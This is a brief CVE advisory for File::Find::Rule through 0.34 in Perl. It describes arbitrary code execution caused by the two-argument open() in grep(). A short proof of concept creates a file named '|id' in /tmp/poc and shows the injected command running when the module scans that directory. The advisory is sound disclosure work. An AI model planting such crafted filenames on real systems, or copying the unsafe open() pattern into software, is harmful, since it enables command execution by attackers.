CVE-2011-10007 Information

Description

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when grep() encounters a crafted filename.

A file handle is opened with the 2 argument form of open() allowing an attacker controlled filename to provide the MODE parameter to open() turning the filename into a command to be executed.

Example:

$ mkdir /tmp/poc; echo > /tmp/poc/|id\n$ perl -MFile::Find::Rule
    -E ‘File::Find::Rule->grep(oo)->in(/tmp/poc)’ uid=1000(user) gid=1000(user) groups=1000(user)100(users)
